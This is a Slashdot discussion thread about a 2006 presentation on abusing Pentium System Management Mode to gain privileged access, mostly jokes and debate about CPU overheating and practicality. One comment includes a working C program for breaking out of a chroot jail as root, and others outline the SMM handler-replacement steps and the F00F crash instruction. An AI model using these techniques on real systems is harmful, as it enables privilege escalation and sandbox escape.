[SlappyBastard]

So, if I have a real firewall setup and I don't open every attachment I'm sent, I'm still safe, right? At the end of the day, you still have to run the exploit for it to work. So, how is that any worse than the rootkits running around at the moment? The vast majority of viruses still specifically depend on users who haven't hardened their systems.

Re:Not being a retard still work, though? Right?

[VisiX]

The vast majority of viruses still specifically depend on users who haven't hardened their systems.

I don't agree, most web malware comes from porn sites, and depends entirely on users trying to harden their system.

Re:Not being a retard still work, though? Right?

[1u3hr]

So, if I have a real firewall setup and I don't open every attachment I'm sent, I'm still safe, right?

If by firewall, you mean one made of masonry or asbestos, yes.

Re:Not being a retard still work, though? Right?

[SlappyBastard]

Indeed.

Re:Not being a retard still work, though? Right?

[SlappyBastard]

In all my internet use going back to the 90s, I have never had any malware put me in a bad spot. The occassional .jar file with some dumb thing in it, and that's about all.

Mind you, during that time I've had a teenage male using the computer, too.

And, I owe it all to a severe aversion to major antvirus vendors, an absolute belief in using port blocking and religious application of least-priveleged users.

That's all. Nothing fancy.

I've run everything from Windows 3.1 to XP, various Linux distros, Apple OS 7.6 and up, web servers, mail servers, testbed servers, databases . . . and nothing in that time has tripped me up.

I'm a firm believer in common sense, even if it has to be applied by force.

AMD...

[Anonymous Coward]

Man, I better switch to AMD so I won't have to worry about viruses! *rolls eyes* Interesting info no doubt, but I hope this doesn't turn into an AMD is teh better fanboy episode... oh wait this is slashdot.

How do you even get it to overheat to begin with?

[layer3switch]

What??? Overheat? So what does attacker have to do, block off all air holes? And what??? System Management RAM? You mean, like Remote Management module like HP's iLO access?

I heard, act of God includes "stupidity".

Another hardware-specific attack

[suv4x4]

Just as dangerous, system analysts discovered an intruder can come with a CD, install malware and run it.

To protect yourself from an attack, it's recommended to never install anything on your computer and remove all sort of input devices such as USB ports, CD-ROM-s, floppies.

Re:Another hardware-specific attack

[Anonymous Coward]

Keyboards, mice...

Re:How do you even get it to overheat to begin wit

[Vengeance]

Turn it on?

But how?-Intel Heaters.

[Anonymous Coward]

"You also have to make the machine overheat..."

They're Intel. No effort required.

Re:But how?-Intel Heaters.

[Anonymous Coward]

My Intel processor has not gone over 33C in the 5 years I have been running it.

Get a clue dipshit.

The devil is in the details

[zenhkim]

Just went and RTFA, and I'm frustrated by a lack of hard details about the new threat:

- The article states that all x86 processors "could" be vulnerable. Does that mean the *entire* series of Pentium chips, even the older PIII and PII's? If so, are they equally as easy to compromise as the modern versions?

- There is no mention of AMD architecture. Doesn't AMD have an equivalent "overheat failsafe" halt-and-cooldown function? Wouldn't that make AMDs vulnerable to this type of exploit as well, or do they require a slightly different attack?

- Isn't the motherboard BIOS FlashROM responsible for the monitoring of and responding to dangerous CPU temperatures? Haven't they already been safeguarded against unauthorized writes, due to the Chernobyl virus?

I think I'll hold off on ordering the prototype Borg implants when they come on the market.... :-(

Not Very Long Lived...

[Rick.C]

What kind of longevity can you expect from a virus that tries to cook the CPU it runs on?

Re:Not Very Long Lived...

[ettlz]

Quite. Talk about trying to byte the hand that feeds you.

This reeks

[Xargle]

of falsehood, and to execute such a thing you'd be at a low enough level to wreak havoc anyway.

Eh?

[Savage-Rabbit]

Yet another reason AMD is better than Intel!

Why? I don't think anybody immunized AMD against screwing up, they are just as capable of it as Intel.

I wonder if this affects the new Intel Macs?

I'll reserve the right to modify my opinion after familiarizing myself with the details of the nature of this vulnerability. As a first guess I'll hypothesize that this probably depends on how easy the OS running on the affected Intel box makes it for a remote attacker to exploit this hardware flaw.

wouldn't it just be easier

[tscheez]

to use some other exploit? I mean the steps and time involved to use this would be too long to really be effective, since you have to wait until the machine actually overheats to get to this situation. What's the MTBF for a CPU fan these days? 50-70K hrs? They'll be waiting a while to gain admin access.

Re:wouldn't it just be easier

[Mr Z]

Actually, if your machine varies fan speeds with case temperature (and most do these days, especially laptops), then guess what? You're running the SMM code in question. If the attacker can get the System Management Interrupt (SMI) handler code in place, all they need to do then is run a tight loop that wiggles lots of bits to trigger the SMI.

Thing is, SMM is used for many other things, too. It seems like you could just co-opt the SMI handler and you'd get called pretty quickly for any number of reasons. Question is, how do you manage to overwrite the SMI handler, and how do you avoid racing with arriving SMIs while you're putting your code in place?

--Joe

Re:wouldn't it just be easier

[tscheez]

good point, i didn't realize that, but from TFA ....

Re:wouldn't it just be easier

[Mr Z]

TFA wasn't terribly informative, I agree.

Custpetition

[Doc Ruby]

I'm interested in how a foreign company is in effect competing with Intel not by being a better vendor to Intel's customers, but by being a more demanding customer than Intel's other customers. They're really only half competing, by threatening the value of Intel's products perceived by the market, the same way a competing vendor would, though they're not doing the other half: offering a competing product that offers better perceived value to the market. Another vendor could do so, finding half their competition process already done for them,

Technology industries used to be nearly entirely "supply-side": driven by suppliers. Unpredictable innovation requiring risky investment, costs of production scaling and distribution, securing free-flowing intellectual property all defined a market always hungry for something newer, faster, smaller, safer. The market itself helped control the industry mainly to the extent that suppliers could guess what the market wanted. We're seeing the market gain power over the industry in many ways. Now we're seeing consumer processes actually resemble competition previously only performed by other producers.

Re:Custpetition

[Doc Ruby]

Moderation -1
    100% Offtopic

TrollMods with tiny little minds can't see the bigger picture - bigger than Pentium microcode in French government translation.

What Microsoft said... (paraphased)

[Lead Butthead]

If the physical location of your servers is compromised, no amount of security software can save you.

Good thing macs aren't vulnerable.

[numbski]

Whoo, I'm safe!

# machine
i486

Well, crap. :P

Re:Good thing macs aren't vulnerable.

[Anonymous Coward]

Damn you youngsters and your hip upgrade paths.

# machine
ppc7450

w00t!

FUD

[cyber-dragon.net]

This is pure FUD, why is it even posted here? The article was mildly interesting but the title was misleading and blatantly AMD fanboy. While I realize that is popular around here give me a break... if you want a real processor war do it on fair grounds, not mud slinging.

in other news

[aexiphixion]

booting from cd found to allow hackers to change root password

A few more details

[Mr 44]

I can't find the actual paper anywhere, but this blog posting has way more details than the article originally linked ... Very interestingly, Windows XP is not vulnerable, but OpenBSD is.

Re:A few more details

[Cleveland Steamer]

Yes, this blog posting is interesting, but it still leaves some important details out.

Linux and *BSD have a /dev/mem device interface for accessing physical memory from user space. Usually, this device only allows access from a priviledged user:

crw-r----- 1 root root 1, 1 Dec 6 12:34 /dev/mem

Using /dev/mem, it should be possible to access the address range assigned to system management RAM. However, the CPU has a Model-Specific Register (MSR) for enabling and disabling accesses to SM RAM. The instructions that are used to read and write MSRs (RDMSR and WRMSR) must be executed from ring-0 (kernel level) or else a GPF occurs. However, the Linux kernel can be configured to provide a user level interface to MSRs via:

crw-rw---- 1 root root 202, 0 Feb 24 09:18 /dev/cpu/0/msr

Again, you'll probably need root priviledges to access the device.

Re:A few more details

[Anonymous Coward]

OpenBSD% ls -l /dev/mem
crw-r----- 1 root kmem 2, 0 Nov 3 13:51 /dev/mem

FreeBSD% ls -l /dev/mem
crw-r----- 1 root kmem 0, 24 Apr 9 20:34 /dev/mem

I feel relatively secure XD

sj.

Re:A few more details

[Sebastopol]

Who says the system management ram is accessible by MSRs?

Seems like there isn't enough on-die space to save the entire state of the O/S, and MSR writing is painfully slow, so it wouldn't have time to dump everything INSIDE the core before triggering thermal protection.

More details? Anyone? Anyone?

Re:A few more details

[Myria]

Windows NT has a similar "device", called \Device\PhysicalMemory. If you're an administrator you can access it through a bunch of API trickery (the documented Win32 API doesn't have the necessary functionality).

On a side note, \Device\PhysicalMemory isn't a "file" object as on Linux, it's a "section" object. Win32 programmers know this as the type of object returned from CreateFileMapping and OpenFileMapping. You can't read or write this "device" using the file API, but you can do MapViewOfFile(Ex) on it to map arbitrary physical pages into your process space.

Melissa

I think Im covered

[night_flyer]

My Intel machine has Linux and my Windows Machines are AMDs

Re:I think Im covered

[night_flyer]

someone must have had mod points to burn... troll?

Re:How do you even get it to overheat to begin wit

[layer3switch]

Oooo, it's sooo hot. yeah, baby... yeah, daddy like... daddy like...

exploit schmexploit

[revery]

Relax, I just got an email (that Thunderbird thought was a scam - you truly do get what you pay for...) with a link in it that automatically downloaded me a new processor (Pentium6 baby)...

I ran it, and now my computer is "resting" for a few days.

Take that Loic Duflot

(if you want the link, just let me know, and when I boot up my new 6, I'll send it to you)

--
I just put some lightnin' in my Dell

Semi Permanent Backdoor?

[Oriumpor]

Let me get this right, by DoSing the proc someone can overwrite the embedded code on the chip? If someone already owned the box and were to use this, it sounds like it would be the ultimate rootkit. Place in the proc, then when the system is hardened/reloaded initiate another DoS (lots are available for winblows) and viola instant re-infected Zombie PC.

Or am I confused?

Re:How do you even get it to overheat to begin wit

[merlin_jim]

How do you even get it to overheat to begin with?

Well I generally like to compliment it on how pretty it's power on indicator is.

Then I might buy it something small, superfluous and pretty like a tennis bracelet or an X800 Radeon.

After that I start gently caressing it's biometric module.

That generally gets it pretty hot...

A "1"

[gone.fishing]

On a scale of 1 to 10, I think this threat is somewhere between 0.5 and 1.5. There are so many better ways to invade a computer than to somehow sneak this on there and wait for the machine to overheat. Especially now since the vunerability has been exposed, I'm sure the bit time virus vendors will now write code to look for it.

Sure it is probably possible, but then I suppose it would be possible to retrofit my truck into a boat. Heck, it would probably be easier and faster to do that than it would be to build and execute (in the wild) an exploit based on this.

UNIVAC had similar vulnerability in checkpoint

[dbc]

This reminds me of the vulnerability in the operating system that shipped with the Univac 1100/10. The checkpoint/restart facility allowed you to write a checkpoint image to tape. Part of the checkpoint image was the system status register.

The crack:
1. Checkpoint your job to tape.
2. remount tape.
3. fiddle the executive-mode bit in the dumped status register.
4. remount tape.
5. restart job -- mainframe p0wn3d.

Of course, in those days, a student that could do that was quickly hired into the system programming staff so that they could keep a closer eye on him and also get some productive work from him.

Ohh... BTW... if you can find an 1100/10 these days, it won't work any more. They fixed that about the same time they quit making CPU's out of vacuum tubes.

I wish Intel would create new bugs, instead of just repeating old ones. Copycats.

Just think, the script kiddies that pulled this off are now drawing Social Security.

I'm Safe

[Waffle Iron]

It's a good thing I run an old Athlon. This chip has a simple overheat handling procedure: just emit good old-fashioned smoke.

Not only do you receive a convenient olfactory signal to alert you to the situation, but you also avoid security breaches brought on by overly complex thermal management.

Re:I'm Safe

[Angostura]

No mod points, but that made me snigger out loud. Well played sir

Sensationalist FUD

[Cleveland Steamer]

From reading the article, it sounds like the hardware component of this hack only involves pulling some signal high or low to tell the system management controller in the southbridge that that the system is overheating.

The article does NOT explain how the hacker is able to replace the "emergency-response software" in System Management RAM. Normal applications, running at priviledge level 3, don't have direct access to SM RAM. Only code running at priviledge level 0, such as kernels and device drivers, can directly access SM RAM. But, if you can manage to run code at priviledge level 0 to access SM RAM, you don't need to replace the code in SM RAM to take over the system.

As was inferred by at least one other comment, the article describes a "Rube Goldberg" approach to hacking a system. While potentially entertaining, the method is overly and unnecessarily complicated to achieve the end result.

WHOOOOSH!!!

[2names]

Did you hear that?

That was the sound of the GP going right over your head.

i heard about this!

[moochfish]

Recently, researchers discovered a new hardware specific attack that could render virtually all computers vulnerable to attackers. They said that if an attacker gains access to the keyboard, they could inject any arbitrary code into the system and gain administrative privilages.

Recommended work around

[mr_z_beeblebrox]

Do not leave your servers out in the open, lock them in a controlled access room (perhaps climate control as well). Throughly vet who gets into your server room. Additionally, do not let people who have low access levels access 'low levels' of the machine. This is revolutionary... in 20 years I can see it being commonplace for companies to have a "server room" outstanding research guys.

I thought

[2names]

I made this post "Captain Cliche" enough for people to get it. Obviously not.

Remote Overheat

[Anonymous Coward]

I remember someone once mentioning that a certain kind of computer (quite old, I forget which) could be forced to shut down by repeatedly using gates/ram directly beneath the temperature sensor.

This kind of thing should be possible remotely, as an unpriveleged user, and also doesn't require the system to actually overheat, just those few gates.

Uh, no

[runderwo]

Try F0 0F C7 C8.

All Pentiums also vulnerable to DoS

[throx]

ALERT!

Pentium based machines are also vulnerable to a denial of service attack from a hacker with physical access to the machine and in the possession of a large axe. Should the attacker be wielding a pair of axes (one in each hand) then the attack would constitute a distributed denial of service.

Hm.

[DoctorDyna]

Did it specifically say that the machine had to overheat in order to take advantage of the exploit? or did they figure out how to trigger it remotely?

Next James Bon movie script excerpt:

[Ancient_Hacker]

Q: Oh hello Bondm be careful now, that table has a lot of expensive equipment on it. Bond: Can I surf for some p0rn on this computer? Q: Now Bond! Pay attention! That's your next target trainer. You just take this roll of duct-tape... Bond: I know, and use it to tie the hands of Mr Moto's gal-pal tot he bedposts? Q: No! Bond: What other possible use could there be for this stuff?? Q: Oh Bond, you take a piece of it and, while sipping a Martini, (shaken, not stirred) with one hand, you surreptitiously slap the piece over the arch-vilian's computer's FAN. Bond: Sigh, how prosaic! ... Then do I tie up the bimbo? Q: No, Bond, you make dashing small talk and repartee with the bad guy, while you pull this little floppy disk out of your pocket... Bond: ANd sling it at his neck, decapitating him? Q: No, you reboot the computer so it boots up from the floppy into unprotected mode, then AUTOEXEC.BAT copies our file to OVERHT.DLL. Then in a few minutes the computer overheats and the overheat interrupt calls out code! Brilliant work by my boffins I think! Bond: Well, if I werent just as dumb as Sean Connery I'd wonder why you have the overheat handler do the dirty work, as our rebooting could have done the same thing. Q: Now Bond, do yo think anybody would want this movie to be over by the first reel? There has to be omimous music, brooding shadows, knives in the back, and so on. We can never do the obvious things.... You should know that by now... Bond: Sigh, you're right as usual Q. DLL patching it is.

Re:Next James Bon movie script excerpt:

[Anonymous Coward]

Note to self: Mandate passive water cooling to foil 007's plans.

--- Dr. Evil

Consider The Target Audience

[Postmaster General]

Since the Rag, of which this article is a part, supposedly targets government institutions, this could be important information for some.

Yes, it is true that physical access "trumps" any other security issues. However, if a person has physical access to a system, it could be quite possible that this system has several other safeguards enabled on it to prevent access to any files stored on it. So, somebody being able to pop in a bootable CD that can boot the system, run some CPU-intensive code on it (thereby overheating the CPU), and then inserting the code to circumvent those extra security measures, could (in theory) gain access to those secure government files*.

Be it for corporate/government espionage, I could see this being a valuable tool for data acquirement, for the purpose(s) of personal, monetary, technological, military, personal (etc.) gain.

*Files: Could include top secret data of a -> military/pornographic/intelligence/pornographic/et c. nature.

FUD? Judge for yourself.

[btarval]

There's a lot of drivel being written based upon what the article says. Unfortunately, the article is so poorly written, that it's not possible to adequately judge what's being claimed.

So, here's a link to the actual PowerPoint presentation. Don't just click on it without reading the caveats below.

He has a sample exploit there on an OpenBSD system.

Here's the guy's bio from the talk:
Loïc Duflot
Security Issues related to Pentium System Management Mode
Loïc Duflot is a security engineer and researcher for the scientific division of the french Central Directorate for Information Systems Security in Paris. He is also a 2nd-year Phd student in Paris XI university. His research work is mostly focused on the security aspects of interactions between hardware components and software. He's also interested in innovative hardware attacks on cryptographic tokens and smartcards.

Note that the French have one of the best security agencies in the world. The main caveat is whether there's anything in the PPT presentation which can exploit your system. I wouldn't put it past the French whatsoever. So, you might be wise to view the presentation on a secure system of yours (preferrably not an x86 one? :) ).

Re:FUD? Judge for yourself.

[Anonymous Coward]

Note that the French have one of the best security agencies in the world. The main caveat is whether there's anything in the PPT presentation which can exploit your system. I wouldn't put it past the French whatsoever.

I would not put anything past the French. To this day, I STILL boycot French products as best I can, due to this and the resumed nuclear testing in MY ocean.

I strongly feel that the Dutch, US, Britain, New Zealand and Australia should have declared war on France over that bombing. They REALLY should not have nuclear weapons, since they have shown that they are willing to bomb and kill foreign peaceful civilians in a foreign land.

Requires nano-attackers though...

[Anonymous Coward]

Attackers then enter the System Management RAM...

Wasn't this part of Tron?

Headbanger Virus

[jd]

The "Good Times" scare was a hoax, but it had an ancestor - the Headbanger virus - which actually could destroy the hard drive. It worked because neither DOS nor the drives had any kind of input validation. It was easy to derange the read heads - or break them entirely - by trying to go past the drive limits - first on one side of the drive, then on the other, repeatedly, as fast as the drive could operate.

It was also based a little in reality - CPUburn could theoretically destroy an improperly heat-sinked CPU by running massively heat-generating instructions in a tight loop that was entirely in L1 cache.

So, physical destruction could happen. It was extremely rare - most OS' are designed to place limits on program activity, and I know of only two Real World examples of such software that existed in the wild - but it was NOT unknown.

Re:Headbanger Virus

[geekoid]

At this time, virus were usually very limited in how mane compters they culd effect.

There was on that overwrote the park command so it didn't actually park the heads.

There was an Apple Virus for the APPLE IIc(I think, maybe an earlier model) that changed where the heads read the disk. This trick was also a great way to hide data.

There have been a coupl PC virus that wrote to 13. Another that overwrote the MBR.

Now they are just inconvienant.

Re:Headbanger Virus

[jd]

My favourite way of hiding data on the PC was to copy the FAT entries inthe the final sector (which nothing ever used, as it was "reserved" for diagnostic tools), then mark the sectors as bad. To unhide, just reverse the process.

I looked into the possibility of using "dead space" (space left at the end of programs and other fixed-length files that canNOT be used by anything else), because when you load a program, you actually load complete sectors. It would have been easy to attach something to the disk interrupt which skimmed the dead-space off, look for start and end markers, and then use anything between as binary code.

I reckoned you could store a good megabyte of program for every twenty megabytes of disk space, with this method, quite safely. On an old-fashioned drive, you had 4K sectors, which meant you'd have 2K on average of dead-space per program. A little of that would be used for markers and an index number to define where the code block belonged in the entire sequence. But that would leave over 1.5K for a code block.

(The loader would read the index and build the program by feeding in that block into the right element in a large array. Once the array was filled, the program would be able to be run. I was looking at using TSRs to hook the program to a function key.)

The reason for all of this? I wanted to write something comparable to the Norton Guides, but required no logical disk space. Hard drives, back then, were small and expensive, so using dead-space as pseudo partition would have been great. It would also have been a great way of hiding programs, images, etc, that were not school or University safe. As viruses were on the increase, and everyone had virus scanners, this method had the added benefit that it was (and still is) totally invisible to most scanners. Scanners read logical files, for the most part, and only specially-designated sectors in full. As a result, anything loosely-bound isn't seen.

I don't write viruses and I'm surprised at the primitive nature of the viruses that are out there - they're skript-kiddie works. I know of nobody who stores data in inter-sector gaps - yes you can do this, dead-space or any other damn-near-invisible part of the disk. I know of no stealth virus that acts as a hypervisor, although we are now starting to get warnings that that is possible. Twenty years after it was technically doable and obvious, but at least the warnings are now out there.

I'm also surprised at the primitive nature of computer systems in general. Hard drives could very easily have 25-33% additional capacity, with an increase in performance, for negligable extra cost, by being more imaginitive about the designs. CPU designs are horribly inefficient and crude. Things could be so much more advanced, with so little effort.

Re:Headbanger Virus

[MonkeyBoy]

FWIW, there were a few Commodore 64/128 trojans that did the same kind of thing to a 1541. In that case it seeked the head beyond the max, then in about a quarter, then out to the max, etc. - repeated as quickly as possible.

'course since the 1541 was built like a tank, with tolerances you could drive a truck through, it just misaligned the head and didn't destroy anything. Even then you had to let it sit there and make an awful racket for a minute or two (at least).

But if you were naive enough to let it sit there - just take it into the shop, put the head back into alignment, and everything became right with the world again... hard to do that with a HD...

sell, sell, sell

[trutek]

i think it is time for all of us to buy new AMD's. And so does cashdot. love the amd ad on this page. so much for being reputable.

Pentium Computers Vulnerable??

[digitaldc]

Pentium Computers Vulnerable to Attack?

YES! Nothing to see here, please move along.

Technically, you are correct.

[jd]

I believe that there may be situations in which there is an exploit into a contained part of the system, where that containment may be broken out of by exploiting this bug. I cannot think of any practical way this could be done that would actually add anything that wasn't required to perform the exploit in the first place, though.

Having said that, I believe B3 security mandates that memory and other system resources have mandatory access controls for precisely this sort of reason - a user who already has system access would then be unable to exploit that to gain control of other parts of the computer. Typically, such containment is through hardware, so unless you embedded a suitable driver into the virus code, interrupting the OS wouldn't gain you anything.

On a side-note, the Broadcom Sentosa system (based on the BCM1250 processor) has a bug such that any fast maths routine will reboot the system. Explains why a lot of people hate Broadcom.

Re:Technically, you are correct.

[level_headed_midwest]

They hate Broadcom because their Linux support sucks.

The actual slides are online...

[Anonymous Coward]

Seems like nobody was sharp enough to google, find the slides, and provide a link:
http://www.cansecwest.com/slides06/csw06-duflot.pp t

CanSecWest presentation slides online

[Anonymous Coward]

Don't bother with the moronic article -- get the PowerPoint slides from the presentation at CanSecWest at http://cansecwest.com/slides06/csw06-duflot.ppt

Re:Good thing xt aren't vulnerable.

[Anonymous Coward]

My xt should be ok
What i'm using a 8086 instead of the 8088

Noooo

A more in-depth article

[sbakker]

Including a link to the presentation .ppt http://asert.arbornetworks.com/2006/04/jumping-thr ough-hoopshhhhhrings/

Think like an evil hax0r, then be afraid.

[jmorris42]

> The exploit requires escalated privileges to begin with. The only thing it can currently
> be used for is bypassing secure levels inside of OpenBSD, where you already have root.

People, think this through a bit and some more dangers appear. If root can replace System Management Mode there are some interesting possibilities for evil. SMM runs at permission levels beyond ring0, think of it as ring-1. From there you can escape any virtualization, any chroot jail, probably even escape from inside an emulator like VMWare if you can manage to execute the exploit without the emulation catching it and simulating it. Until this is completely understood and fixed, Xen, usermode linux, chroot and possibly VMWare/VirtualPC should be suspect.

Now imagine just how many people have root access to their virtual server at a hosting company and how many other users are running on the same physical hardware secure in the belief that their customer information is safe. But is it?

Re:Think like an evil hax0r, then be afraid.

[Thiarna]

But how do you trigger a thermal alarm on a virtual machine (without access to the "real" OS)?

Re:Think like an evil hax0r, then be afraid.

[jmorris42]

> But how do you trigger a thermal alarm on a virtual machine (without access to
> the "real" OS)?

If it is a P-IV in a 1U rack I'd suspect all you would have to do would be chew CPU cycles like mad for a hour. It isn't that hard, most of the first batch of P-IV chips ran so hot they will only run at their rated speed for a few minutes without some serious aftermarket cooling solutions. So there are potentially a couple million machines out there which are especially vulnerable.

Re:Think like an evil hax0r, then be afraid.

[darkmeridian]

That is a good use of the vulnerability once you rig the hardware. You still have the rig the NVRAM and then cause the server to overheat sufficiently to trigger the failure. In theory, it sounds great, but as a practical matter, with that much physical access you could just threaten to stab the admins with your screwdriver until he gives you root on the other virtual servers.

Re:Think like an evil hax0r, then be afraid.

[theLOUDroom]

SMM runs at permission levels beyond ring0, think of it as ring-1.

So does anything that can load before your kernel. (Like a boot sector virus.)

Now imagine just how many people have root access to their virtual server at a hosting company and how many other users are running on the same physical hardware secure in the belief that their customer information is safe. But is it?

This isn't really different than a boot sector. If you have root on a VIRTUAL server, you shouldn't have access to this or to the boot sector on the real filesystem.

evil hacker spotted...

[micromuncher]

with a magnifying glass, focusing a beam of sunlight on pentagon computers...

film at 11

KISS principle

[Anonymous Coward]

As has been repeated, physical access beats all. Here's an easier way, why not just boot into a knoppix live cd, mount the disk and circumvent all security? Kind of like beating Adobe's security by simply using Ghostscript.

Better article: no FUD-OpenBSD demo-Theo comment

[droopycom]

From : http://blog.ncircle.com/ (scroll down)

cansecwest/core06: "security issues related to Pentium SMM"

Loic Duflot
Title: Security Issues Related to Pentium System Mgmt Mode

It is day 2 at Cansecwest and this talk wins for 'so frightening that you want to hide under your desk in the fetal position'.

I'll go through the high level technical and then end with pointing out a principal that is one of those universal truths I carry around with me everywhere.

This entire exploit is based on documented x86 functions.

Your CPU runs in a few modes, one of those modes is known as Protected mode, other known as System Mgmt Mode. When your OS is running, your in Protected mode and this is how much of the security is performed and you'll hear of ring0 and ring3. Just know that your in-world universe is in protected mode.

System Management Mode (SMM) is used so that when there is something external to your OS world like say a thermal condition that needs to communicate some message, the CPU saves all its protected mode state out, does all this SMM stuff and then return to its regular scheduled program in protected mode.

There are details that evolve registry addresses and very low level operations but for the most part, a system in a very secure state can be circumvented via this SMM facility. I'm talking free access to all memory and IO.

The song goes a little like this:
Enable SMI
Open SMRAM space
Replace default SMI Handler by custom one (do your duty)
Close SMRAM space
Trigger SMI
Gain access to restricted operations.

In the wider picture: works on most systems. Turns out that Linux and the *BSD's will fall victim to this attack strategy, however, Windows XP is not known to be exploitable because of a few system calls that are not present and more importantly a certain memory range in protected mode is not shared addresses to SMM.

So, for the demo, they did not pick some shabby OS to exploit. How about OpenBSD at level2 (high security) with allowaperture=1
Ummm...it worked. Theo, microphone please?

Theo spoke to this OPENBSD issue and said he and the team have known about it for a year. They are between a rock and a hard-place because Xserver is really the core of the problem. It has too much damn access to regesters and is in the most unfortunate address space in protected mode because when in SMM, what is in that address range can be used to exploit.
Solution is for Xserver people to abstract sufficiently so that the kernel can have more governance on the Xservers logic.

Closing TK comments:
A system or a world that has a policy governed by in-world mechanisms cannot be effective when a process in-world can reach to the out-world to cause in-world change. You could also say that since a problem cannot be resolved at the same logical realm it has been created, then it is also the case that the most effective governance of a world can only come from outside that world. Think about all the crazy things we do in the physical world. As soon as we could get to the strong and weak forces at the atomic level, we created a incredibly destructive device. I just hope that if string theory is right and there really are energy strings at the lowest level of the universe, that no one in our world get control of them. The negative outcome caused by the power hungry is too high a risk to even consider the positive benefits.

Its late and I have been blogging way too much today I am certain that my mental packet loss is abnormally high. I'll return to this in-game out-game concepts later in another blog entry, when I am less sleep deprived.

--tk

Not FUD

[droopycom]

http://hardware.slashdot.org/comments.pl?sid=18278 6&cid=15108037

Re:Not FUD

[KaiserZoze_860]

Thanks for posting something with some real information. KS

No Physical access

[droopycom]

Not if you can find a way to have the target heat up with a user account.

Better article: http://hardware.slashdot.org/comments.pl?sid=18278 6&cid=15108037

AMD overheat

[phorm]

On an AMD or Via, overheating is a major failure condition, probably caused by a heatsink falling off.

As a longtime AMD and VIA user, I would call bullshit on that. With VIA, certainly (my Epias are rather low power, lower heat), but most of my AMD's have run rather hot-ish

K6-2/400 - Same as P-II
"Thunderbird" 700Mhz - Not hot, but no cooler than the same-gen Pentiums.
Duron 1Ghz - Power-hungry and hot enough to raise the room temperature noticably when run in a server
Athon XP 2500+ - Holy-freakin' heatwave batman, this chip ran warm indeed. I stuck a "Volcano" fan on it to keep it happy during heavy operations, but then it sounded like well... a vaccuum cleaner. When I accidentally turned the fan down during some heavy operations it hit 100c between thermal throttling kicked it off (though it should have dumped a lot earlier).

Re:AMD overheat

[Anonymous Coward]

Allowing users to run as root is like sticking drivers with a class 5 license in the pilot seat of a 747 - phorm

So, do you often quote yourself? Find yourself pretty inspirational? You know, you're supposed to leave that to people around you. ; )

BTW, he was not talking about how hot the CPU's get, he was talking about the ramifications of them going past their temperature ratings ("overheating" is the clue here). I've seen some older AMD CPU's (Thunderbird from what I could tell) _explode_ into multiple pieces as if they were shot with a gun. I also know people with VIA C3's which, although their model was marketed as being capable of fanless operation, causes panics when performing long compiles. If given the chance, those little C3's just keep getting hotter and hotter until they no longer work properly.

Both of these situations can be prevented with active throttling mechanisms which merely slow operation, instead of giving such disasterous results.

Re:AMD overheat

[Jesus_666]

Well, Thunderbirds don't overheat. Seriously, someone once made a little tray out of tin foil and fried an egg over his T-Bird. I think the mainboard would catch fire before the T-Bird takes damage.

On AMD64s, however, overheatung is unusual. I have a watercooled PC (mainly for volume reasons) and with my old Athlon XP 1500+@1800+ accidentally leaving the pump unplugged was a surefire way to crash the computer within five minutes (and melt the tubes connected to the CPU water block until I finally got decent ones). With my new Athlon 64 3000 it's a surefire way to get the temperature to rise to fifty degrees and stay there (as opposed to the ~40 it reaches during normal operation). The Athlon64 is probably the coolest processor I've owned sinde the Intel 80486, in more than one way.

Re:How do you even get it to overheat to begin wit

[unknownideal]

Wewl, to begin wit, you puon Nelly. Den it gits hot in hea.

Too much hassle

[Opportunist]

Why figure out something tricky and clever like an overheat-interrupt-security-rescue-procedure-overw rite-thingamajig when all you gotta do is send mails with an "for infection please click here" buttons?

Works just as fine.

FYI

[toadlife]

AthlonXP chips had no built in throttling in the chip. As a result, motherboard makers built in a crude protection system that would shit down the entire system if the chip got too hot. Without that protection, the chips would burn themselves up if the fan failed.

New AMD (Sempron 64/Athlon 64/Athlon X2 64, Turion) all have "Cool N' Quiet" built in which throttles the chip down to speeds as low as 1Ghz (even lower on Turions I think) when idle. I have a dual core athlon system now, and my chip sits at 1Ghz/1.1 volts and mt CPU fan runs at 1000RPM when my computer is idle. When you launch an app that demands processing power, the chip instant throttles up to it's full speed/voltage and the fan kicks up to 3000RPM.

Pictures:

http://www.toadlife.net/stuff/forum_pics/idle.PNG

http://www.toadlife.net/stuff/forum_pics/inuse.PNG

Re:FYI

[Shanep]

motherboard makers built in a crude protection system that would shit down the entire system

Are you sure it was motherboard makers and not Microsoft with Windows?

reminds me attacking VM's via physical memory...

[Ex Machina]

http://www.cs.princeton.edu/~sudhakar/papers/memer r-slashdot-commentary.html

Yea, it was /.'d back in '03. *Kind of* similar.....

Vulnerable to sledgehammer attacks...

[Anonymous Coward]

I Attacked a pentium PC with a sledgehammer. It was quite vulnerable.

Can you say hammer?

[slugstone]

Okay, a rock will do.

Yeah right

[Vexorian]

Considering:
- that the hacker would need really good access to your pentium computer in order to do such exploit.
- that if the processor overheats then some hacker gaining administrator access is the least of your problems.
- that windows and internet explorer are still quite popular

There are plenty of more effective and practical ways to take down PCs , seriously.

chroot is *not* secure if attacker has root

[ArsenneLupin]

any chroot jail

If you've got root in a chroot "jail", you already own the machine. To break out of jail, just use a program such as the following (... and pass it a subdirectory within the "jail" as argument):

#include <stdio.h>
#include <unistd.h>

void main(int argc, char **argv)
{
int i;
if ( argc < 3 ){
fprintf(stderr,"Bad argument count\n");
exit(1);
}

if(chroot(argv[1])){
perror("chroot");
exit(1);
}
for(i=0; i<137; i++)
chdir("..");
if(chroot(".") ) {
perror("second chroot");
exit(1);
}
execv(argv[2],argv+2);
perror("exec");
exit(1);
}



N.B. BSD jails do sth more than just chroot. However, on most Unices, relying solely on chroot to keep an attacker "prisoner" is foolish...

Some filler garbage to pass the postercomment compression filter (sorry):

Pourquoi mon chat est il malpropre?

En médecine vétérinaire, le problème de comportement inapproprié le plus fréquemment rencontré chez le chat est celui de la malpropreté. Minou fait pipi ou caca en dehors de la litière et le propriétaire ne sait pas quoi faire.
C'est donc normal que cette question nous soit très souvent posée! Et nous tenterons de faire un résumé de l'approche que vous devrez prendre afin de rapidement faire cesser ce désagréable problème.
Il est entendu qu'il est impossible pour nous d'analyser via Internet, par téléphone ou sur le bout d'un comptoir chaque cas de manière individuelle car trop de variantes entrent en ligne de compte et une consultation avec NATUROPATHE spécialiste en thérapie comportementale peut facilement durer plus d'une heure pour ce genre de problème.
